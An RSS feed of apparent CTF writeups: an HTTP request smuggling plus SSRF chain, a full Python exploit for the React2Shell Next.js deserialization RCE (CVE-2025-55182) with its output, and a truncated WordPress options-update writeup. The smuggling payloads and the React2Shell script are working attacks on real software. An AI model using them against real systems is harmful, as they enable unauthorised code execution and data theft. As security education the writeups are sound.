<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Daryx Writeups</title><description>Capture The Flag Solutions</description><link>https://daryx.vercel.app/</link><language>en</language><item><title>UVT CTF - Seas Side Contraband</title><link>https://daryx.vercel.app/posts/uvtctf-seas-side-contraband/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/uvtctf-seas-side-contraband/</guid><description>TE.CL HTTP Request Smuggling to bypass 403, chained with SSRF to scan internal network and discover hidden file server containing the flag</description><pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;UVT CTF - Seas Side Contraband&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/walidzitouni/CTFWriteups/refs/heads/main/src/assets/images/sea-side.png?token=GHSAT0AAAAAADWR57IQRED2QIBRGQQHYIZA2NCRVZA&quot; alt=&quot;sea-side&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;The Setup&lt;/h2&gt;
&lt;p&gt;We&apos;re given a web application instance, a PDF file (Report.pdf), and a description. The PDF is a fake intelligence dossier from &quot;Cosmic Components Co.&quot; describing a maritime smuggling ring — and buried inside it are a pair of login credentials: &lt;code&gt;AlexGoodwin / Pine123&lt;/code&gt;. The description hints that the web app is &quot;a door, not a destination,&quot; which immediately told me the flag wasn&apos;t going to be sitting on the website itself. Something deeper was going on.&lt;/p&gt;
&lt;h2&gt;First Look&lt;/h2&gt;
&lt;p&gt;After logging in, the app is a pretty standard operations dashboard. There&apos;s a forum, a freight registry, and a gateway log page. But the interesting one is &lt;code&gt;/admin&lt;/code&gt; — it returns a &lt;strong&gt;403 Forbidden&lt;/strong&gt;. Not a 404, a 403. That means the page exists and the backend is happy to serve it, but something in front of it is saying no.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/gateway-log&lt;/code&gt; page is where things got really interesting. It&apos;s written in-universe as a changelog for the &quot;harbor gateway,&quot; but every single entry maps directly to HTTP smuggling concepts if you know what to look for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&quot;strips duplicate transfer directives before upstream relay&quot;&lt;/em&gt; — the proxy normalizes Transfer-Encoding headers&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&quot;length declarations preserved to avoid breaking old depot nodes&quot;&lt;/em&gt; — the proxy preserves the original Content-Length when forwarding&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&quot;dual manifest compatibility mode enabled&quot;&lt;/em&gt; — both Content-Length and Transfer-Encoding are accepted simultaneously&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&apos;s a textbook &lt;strong&gt;TE.CL desync setup&lt;/strong&gt;. The reverse proxy reads &lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt;, the backend reads &lt;code&gt;Content-Length&lt;/code&gt;, and the proxy preserves the original CL when forwarding. The forum also had a post confirming it: &lt;em&gt;&quot;External firewall is over-strict. Integration keys bypass routing for maintenance tasks.&quot;&lt;/em&gt; — the proxy blocks &lt;code&gt;/admin&lt;/code&gt;, but the backend itself doesn&apos;t care.&lt;/p&gt;
&lt;h2&gt;HTTP Request Smuggling — Bypassing the 403&lt;/h2&gt;
&lt;p&gt;The architecture looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client  →  Reverse Proxy (reads TE)  →  Backend (reads CL)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The idea is simple: send a single HTTP request that the proxy sees as one request, but the backend interprets as two. The second &quot;ghost&quot; request is our smuggled &lt;code&gt;GET /admin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here&apos;s how the desync works. We send a POST with both &lt;code&gt;Content-Length&lt;/code&gt; and &lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1
Host: 194.102.62.166:29532
Cookie: session=&amp;lt;SESSION&amp;gt;
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Transfer-Encoding: chunked
Connection: keep-alive

6a
a=b
GET /admin HTTP/1.1
Host: 194.102.62.166:29532
Cookie: session=&amp;lt;SESSION&amp;gt;

0

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The proxy reads the entire chunked body — chunk of &lt;code&gt;6a&lt;/code&gt; (106) bytes, then the terminal &lt;code&gt;0&lt;/code&gt; chunk — and forwards everything to the backend as a single valid request. But the backend only reads 9 bytes (the &lt;code&gt;Content-Length&lt;/code&gt;), which covers just &lt;code&gt;6a\r\na=b\r\n&lt;/code&gt;. Everything after that — our smuggled &lt;code&gt;GET /admin&lt;/code&gt; — sits in the socket buffer, waiting.&lt;/p&gt;
&lt;p&gt;When we immediately send a follow-up &lt;code&gt;GET /&lt;/code&gt; on the same keep-alive connection, the backend processes the leftover bytes first. It sees &lt;code&gt;GET /admin HTTP/1.1&lt;/code&gt; and serves the admin page, completely bypassing the proxy&apos;s access control.&lt;/p&gt;
&lt;p&gt;The alignment math matters here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;padding = &quot;a=b\r\n&quot;
inner = padding + smuggled_request
chunk_hex = format(len(inner), &apos;x&apos;)    # &quot;6a&quot;
content_length = len(chunk_hex + &quot;\r\n&quot; + padding)  # = 9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Content-Length&lt;/code&gt; is set so the backend consumes exactly the chunk header plus padding, nothing more.&lt;/p&gt;
&lt;h2&gt;The Admin Dashboard — and a Second Smuggle&lt;/h2&gt;
&lt;p&gt;The smuggled &lt;code&gt;GET /admin&lt;/code&gt; came back with a &lt;strong&gt;200 OK&lt;/strong&gt; and a &lt;code&gt;Set-Cookie: relay_auth=b243....&lt;/code&gt; The admin dashboard had all kinds of fun in-universe content (bribe ledgers, contraband batch IDs), but the critical piece was a form called &lt;strong&gt;&quot;Harbor Inventory Probe Console&quot;&lt;/strong&gt; that POSTs to &lt;code&gt;/admin/relay&lt;/code&gt; with an &lt;code&gt;inventory_node&lt;/code&gt; URL parameter. The dropdown options pointed to internal services:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://127.0.0.21:9100/inventory/stock/check?HarborId=1  (West Hub)
http://127.0.0.21:9100/inventory/stock/check?HarborId=2  (Atlantic Hub)
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s &lt;strong&gt;SSRF&lt;/strong&gt; — the backend will make HTTP requests to whatever URL we give it. But there&apos;s a catch: &lt;code&gt;/admin/relay&lt;/code&gt; is also behind the proxy&apos;s 403 block. So I needed to smuggle again, this time a POST request with a body:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;post_body = f&quot;inventory_node={url_encoded_target}&quot;
smuggled = (
    f&quot;POST /admin/relay HTTP/1.1\r\n&quot;
    f&quot;Host: {HOST}:{PORT}\r\n&quot;
    f&quot;Cookie: session={session}; relay_auth={relay}\r\n&quot;
    f&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;
    f&quot;Content-Length: {len(post_body)}\r\n&quot;
    f&quot;\r\n&quot;
    f&quot;{post_body}&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same TE.CL technique, just with a bigger smuggled payload. The SSRF had some validation — protocol must be &lt;code&gt;http://&lt;/code&gt;, IP must be in the &lt;code&gt;127.0.0.X&lt;/code&gt; range, port must be &lt;code&gt;9100&lt;/code&gt; — but nothing that blocked what I needed to do.&lt;/p&gt;
&lt;p&gt;The known inventory service at &lt;code&gt;127.0.0.21:9100&lt;/code&gt; responded with JSON listing harbor stock. Interesting, but no flag. The PDF had hinted at deeper hidden services, so I knew I had to go looking.&lt;/p&gt;
&lt;h2&gt;Scanning the Internal Network&lt;/h2&gt;
&lt;p&gt;I wrote a quick scanner that fired SSRF requests at every IP from &lt;code&gt;127.0.0.1&lt;/code&gt; through &lt;code&gt;127.0.0.255&lt;/code&gt; on port 9100, using 10 parallel threads to keep it fast:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    for x in range(1, 256):
        executor.submit(scan_ip, x, session, relay)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Most IPs returned nothing. But &lt;strong&gt;127.0.0.230:9100&lt;/strong&gt; came back with something completely different — a directory listing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;node://127.0.0.230:9100/
mode=listing

ops
manifests
drops
logs
notes.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A hidden internal file server. Now we&apos;re talking.&lt;/p&gt;
&lt;h2&gt;Navigating to the Flag&lt;/h2&gt;
&lt;p&gt;From here it was just a matter of browsing the file tree through the SSRF, following the breadcrumbs. The &lt;code&gt;manifests/private/44c/readme.txt&lt;/code&gt; pointed me to &lt;code&gt;/drops/pacific/batch-44c&lt;/code&gt;, and from there I worked my way down through &lt;code&gt;vault/&lt;/code&gt; then &lt;code&gt;sealed/&lt;/code&gt; until I found a file simply called &lt;code&gt;flag&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET http://127.0.0.230:9100/drops/pacific/batch-44c/vault/sealed/flag
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The Full Chain&lt;/h2&gt;
&lt;p&gt;The whole attack chains three bugs together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TE.CL HTTP Request Smuggling&lt;/strong&gt; to bypass the reverse proxy&apos;s 403 on &lt;code&gt;/admin&lt;/code&gt; — the proxy reads chunked encoding while the backend reads Content-Length, letting us inject a second request into the connection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Smuggling again&lt;/strong&gt; to reach &lt;code&gt;/admin/relay&lt;/code&gt; and trigger SSRF against internal services on &lt;code&gt;127.0.0.X:9100&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Internal network scanning&lt;/strong&gt; through the SSRF to discover a hidden file server at &lt;code&gt;127.0.0.230&lt;/code&gt;, then browsing its directory tree to the flag&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The gateway log page was the Rosetta Stone for this challenge — every entry was a thinly veiled hint about the smuggling setup. Once I decoded those, the rest was just following the thread deeper and deeper into the internal network.&lt;/p&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Writeup by daryx&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>BearCatCTF 2026 - Sea Shells</title><link>https://daryx.vercel.app/posts/bearcatctf-2026-sea-shells/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/bearcatctf-2026-sea-shells/</guid><description>Exploiting CVE-2025-55182 (React2Shell) — a critical insecure deserialization flaw in the React Server Components Flight protocol leading to unauthenticated RCE</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Information&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sea Shells&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CTF&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BearCatCTF 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Web&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Points&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;460&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Author&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hugh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flag&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Challenge Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Ahoy, Code-Breakers!&lt;/p&gt;
&lt;p&gt;The Dread Captain Next thinks his fortress is impenetrable, but he&apos;s left the ship&apos;s articles—the very blueprints of how his crew behaves—unguarded. We&apos;ve heard whispers that if a clever pirate can poison the source they can rewrite the fundamental laws of the ship itself.&lt;/p&gt;
&lt;p&gt;Forging your Next-Action scrolls is the key to mutiny. When you control the prototype, the crew stops listening to the Captain and starts listening to you. Seize the shell, and the flag shall be yours!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Target: &lt;code&gt;http://chal.bearcatctf.io:38270/&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;The challenge runs a &lt;strong&gt;Next.js 15.0.0&lt;/strong&gt; app with &lt;strong&gt;React 19.0.0-rc&lt;/strong&gt; — a version vulnerable to &lt;strong&gt;CVE-2025-55182 (React2Shell)&lt;/strong&gt;. This is a critical insecure deserialization flaw in the React Server Components Flight protocol that allows unauthenticated RCE. We craft a malicious multipart payload that abuses the Flight decoder to create fake &quot;Thenable&quot; (Promise-like) objects, which triggers arbitrary JavaScript execution on the server when &lt;code&gt;await&lt;/code&gt;ed.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;p&gt;Hitting the target gives us a simple journal/log book app — you can submit entries with a title and content. Inspecting the page source and static JS bundles reveals the stack:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Next.js 15.0.0&lt;/strong&gt; (Build ID: &lt;code&gt;V_NSvClZKyL3arBuCiH4R&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;React 19.0.0-rc&lt;/strong&gt; (&lt;code&gt;rc-f994737d14-20240522&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;App Router with React Server Components (RSC)&lt;/li&gt;
&lt;li&gt;A single &lt;strong&gt;Server Action&lt;/strong&gt; with ID &lt;code&gt;3fee78e8995a129cd1c598459b0203a43f700478&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The challenge description is full of hints:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&quot;Next-Action scrolls&quot;&lt;/em&gt; → Server Action requests (the &lt;code&gt;Next-Action&lt;/code&gt; HTTP header)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&quot;poison the source&quot;&lt;/em&gt; / &lt;em&gt;&quot;control the prototype&quot;&lt;/em&gt; → Prototype Pollution&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&quot;Seize the shell&quot;&lt;/em&gt; → RCE&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Understanding the Attack Surface&lt;/h2&gt;
&lt;h3&gt;React Flight Protocol&lt;/h3&gt;
&lt;p&gt;When a Next.js app uses Server Actions, the client communicates with the server via the &lt;strong&gt;React Flight protocol&lt;/strong&gt;. Requests are sent as &lt;code&gt;multipart/form-data&lt;/code&gt; with a &lt;code&gt;Next-Action&lt;/code&gt; header containing the action ID. The form fields encode serialized JavaScript values using a custom format with &lt;code&gt;$&lt;/code&gt;-prefixed type tags:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Prefix&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reference to chunk with key &quot;1&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$@1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reference to chunk 1 as a &lt;strong&gt;Thenable&lt;/strong&gt; (Promise-like)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$B1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&quot;Block&quot; / lazy reference&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$K1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;FormData reference&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$Q1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Map reference&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The server deserializes these into live JavaScript objects. This is where the vulnerability lives.&lt;/p&gt;
&lt;h3&gt;CVE-2025-55182 — React2Shell&lt;/h3&gt;
&lt;p&gt;Discovered by Lachlan Davidson in late 2025, this CVSS 10.0 vulnerability exists in &lt;code&gt;react-server-dom-webpack&lt;/code&gt; (and the turbopack/parcel variants). The Flight decoder reconstructs objects from the serialized format &lt;strong&gt;without proper validation&lt;/strong&gt;, allowing an attacker to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create fake &lt;strong&gt;Chunk&lt;/strong&gt; objects with controlled &lt;code&gt;status&lt;/code&gt;, &lt;code&gt;value&lt;/code&gt;, &lt;code&gt;_response&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;$@&lt;/code&gt; references to obtain real Chunk objects and graft their &lt;code&gt;.then&lt;/code&gt; method onto attacker-controlled objects&lt;/li&gt;
&lt;li&gt;Abuse the &lt;code&gt;_response._formData.get&lt;/code&gt; → &lt;code&gt;constructor.constructor&lt;/code&gt; chain to reach the &lt;strong&gt;Function constructor&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Execute arbitrary JavaScript when the server tries to &lt;code&gt;await&lt;/code&gt; the fake Thenable&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Building the Exploit&lt;/h2&gt;
&lt;p&gt;The payload creates a chain of fake objects that trick the Flight decoder:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload = {
    &apos;0&apos;: &apos;$1&apos;,          # Model: reference to chunk 1
    &apos;1&apos;: {              # Fake Chunk object
        &apos;status&apos;: &apos;resolved_model&apos;,
        &apos;reason&apos;: 0,
        &apos;_response&apos;: &apos;$4&apos;,
        &apos;value&apos;: &apos;{&quot;then&quot;:&quot;$3:map&quot;,&quot;0&quot;:{&quot;then&quot;:&quot;$B3&quot;},&quot;length&quot;:1}&apos;,
        &apos;then&apos;: &apos;$2:then&apos;    # Borrow .then from a real Chunk
    },
    &apos;2&apos;: &apos;$@3&apos;,         # $@ gives us a real Chunk (Thenable)
    &apos;3&apos;: [],            # Empty array (used for constructor chain)
    &apos;4&apos;: {              # Fake Response object
        &apos;_prefix&apos;: &apos;&amp;lt;MALICIOUS JS CODE&amp;gt;//&apos;,
        &apos;_formData&apos;: {
            &apos;get&apos;: &apos;$3:constructor:constructor&apos;  # [] → Array → Function
        },
        &apos;_chunks&apos;: &apos;$2:_response:_chunks&apos;,
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;How the chain works:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Chunk 0&lt;/strong&gt; (&lt;code&gt;$1&lt;/code&gt;) references Chunk 1 — the fake Chunk&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chunk 2&lt;/strong&gt; (&lt;code&gt;$@3&lt;/code&gt;) creates a real Thenable reference to Chunk 3, giving us access to a genuine &lt;code&gt;.then&lt;/code&gt; method&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chunk 1&lt;/strong&gt; steals &lt;code&gt;.then&lt;/code&gt; from the real Chunk via &lt;code&gt;&apos;$2:then&apos;&lt;/code&gt;, making itself look like a Promise&lt;/li&gt;
&lt;li&gt;When the server tries to &lt;code&gt;await&lt;/code&gt; Chunk 1, it calls &lt;code&gt;.then()&lt;/code&gt;, which re-enters the parser with our controlled &lt;code&gt;_response&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chunk 4&lt;/strong&gt; (the fake Response) has &lt;code&gt;_formData.get&lt;/code&gt; pointing to &lt;code&gt;$3:constructor:constructor&lt;/code&gt; — that&apos;s &lt;code&gt;[].constructor.constructor&lt;/code&gt; = the &lt;strong&gt;Function constructor&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;_prefix&lt;/code&gt; field is prepended to the code string passed to &lt;code&gt;Function()&lt;/code&gt;, giving us &lt;strong&gt;arbitrary code execution&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Data Exfiltration via Redirect&lt;/h3&gt;
&lt;p&gt;To get command output back, we abuse Next.js&apos;s built-in redirect handling. By throwing a specially formatted &lt;code&gt;NEXT_REDIRECT&lt;/code&gt; error, the server responds with a 303 redirect containing our data in the URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;), {
  digest: &apos;NEXT_REDIRECT;push;/login?a=&apos; + encodeURIComponent(output) + &apos;;307;&apos;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The command output appears in the &lt;code&gt;X-Action-Redirect&lt;/code&gt; response header.&lt;/p&gt;
&lt;h2&gt;The Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import http.client, json, re, urllib.parse

TARGET = &quot;chal.bearcatctf.io&quot;
PORT = 38270
ACTION_ID = &quot;3fee78e8995a129cd1c598459b0203a43f700478&quot;

def send_rce(cmd):
    cmd_escaped = cmd.replace(&quot;&apos;&quot;, &quot;\\&apos;&quot;)

    # JS code: run command, exfiltrate output via redirect
    js = (
        f&quot;throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;),&quot;
        f&quot;{{digest: &apos;NEXT_REDIRECT;push;/login?a=&apos; + &quot;
        f&quot;encodeURIComponent(process.mainModule.require(&apos;child_process&apos;)&quot;
        f&quot;.execSync(&apos;{cmd_escaped}&apos;).toString()) + &apos;;307;&apos;}});//&quot;
    )

    payload = {
        &apos;0&apos;: &apos;$1&apos;,
        &apos;1&apos;: {
            &apos;status&apos;: &apos;resolved_model&apos;, &apos;reason&apos;: 0,
            &apos;_response&apos;: &apos;$4&apos;,
            &apos;value&apos;: &apos;{&quot;then&quot;:&quot;$3:map&quot;,&quot;0&quot;:{&quot;then&quot;:&quot;$B3&quot;},&quot;length&quot;:1}&apos;,
            &apos;then&apos;: &apos;$2:then&apos;
        },
        &apos;2&apos;: &apos;$@3&apos;,
        &apos;3&apos;: [],
        &apos;4&apos;: {
            &apos;_prefix&apos;: js,
            &apos;_formData&apos;: {&apos;get&apos;: &apos;$3:constructor:constructor&apos;},
            &apos;_chunks&apos;: &apos;$2:_response:_chunks&apos;,
        }
    }

    BOUNDARY = &quot;----Boundary&quot;
    body = b&quot;&quot;
    for key in sorted(payload.keys()):
        body += f&quot;--{BOUNDARY}\r\n&quot;.encode()
        body += f&apos;Content-Disposition: form-data; name=&quot;{key}&quot;\r\n\r\n&apos;.encode()
        body += f&quot;{json.dumps(payload[key])}\r\n&quot;.encode()
    body += f&quot;--{BOUNDARY}--\r\n&quot;.encode()

    conn = http.client.HTTPConnection(TARGET, PORT, timeout=15)
    conn.request(&quot;POST&quot;, &quot;/&quot;, body, {
        &quot;Content-Type&quot;: f&quot;multipart/form-data; boundary={BOUNDARY}&quot;,
        &quot;Next-Action&quot;: ACTION_ID,
    })
    resp = conn.getresponse()
    redirect = dict(resp.getheaders()).get(&apos;x-action-redirect&apos;, &apos;&apos;)
    body_text = resp.read().decode(errors=&apos;replace&apos;)
    match = re.search(r&apos;[?&amp;amp;]a=([^;&amp;amp;]+)&apos;, redirect + body_text)
    return urllib.parse.unquote(match.group(1)) if match else None

# Pop a shell
print(send_rce(&quot;id&quot;))
# uid=100(ctf) gid=101(ctf) groups=101(ctf),101(ctf)

print(send_rce(&quot;cat /app/flag.txt&quot;))
# BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Execution&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ python3 exploit.py
uid=100(ctf) gid=101(ctf) groups=101(ctf),101(ctf)
BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&quot;&gt;CVE-2025-55182 — React Server Components RCE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/blog/CVE-2025-66478&quot;&gt;CVE-2025-66478 — Next.js Security Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc&quot;&gt;React2Shell — Lachlan Davidson&apos;s Original PoC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce&quot;&gt;Tenable — React2Shell FAQ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Writeup by daryx&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>UniverCTF 2025 - SilentSnow</title><link>https://daryx.vercel.app/posts/univerctf-2025-silentsnow/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/univerctf-2025-silentsnow/</guid><description>WordPress arbitrary options update leading to admin takeover and RCE</description><pubDate>Fri, 19 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;SilentSnow - Web CTF Challenge Writeup&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;University CTF 2025: Tinsel Trouble&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Challenge Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Challenge Name:&lt;/strong&gt; SilentSnow&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Instance:&lt;/strong&gt; &lt;code&gt;http://154.57.164.64:30101/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flag Format:&lt;/strong&gt; &lt;code&gt;HTB{...}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Challenge Description&lt;/h2&gt;
&lt;p&gt;The Snow-Post Owl Society website has been corrupted by malicious code, preventing the midnight delivery of festival updates. The goal is to hack the official website and bypass the corrupted code to trigger a mass resend of the latest article.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/1.png&quot; alt=&quot;Challenge Homepage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The challenge provides a WordPress-based application with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Custom theme: &lt;code&gt;my-theme&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Custom plugin: &lt;code&gt;my-plugin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Docker environment with flag at &lt;code&gt;/flag.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/2.png&quot; alt=&quot;WordPress Structure&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Vulnerability Discovery&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Location:&lt;/strong&gt; &lt;code&gt;/src/plugins/my-plugin/my-plugin.php:110&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/3.png&quot; alt=&quot;Vulnerable Code&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The code uses &lt;code&gt;$_POST[&apos;my_plugin_action&apos;]&lt;/code&gt; directly as the WordPress option name in &lt;code&gt;update_option()&lt;/code&gt; without any validation or sanitization. This allows an attacker to modify &lt;strong&gt;ANY&lt;/strong&gt; WordPress option.&lt;/p&gt;
&lt;p&gt;I found also:&lt;/p&gt;
&lt;h3&gt;1. Auto-login Feature&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/silentsnow/4.png&quot; alt=&quot;Auto-login Feature&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. Admin Context Bypass&lt;/h3&gt;
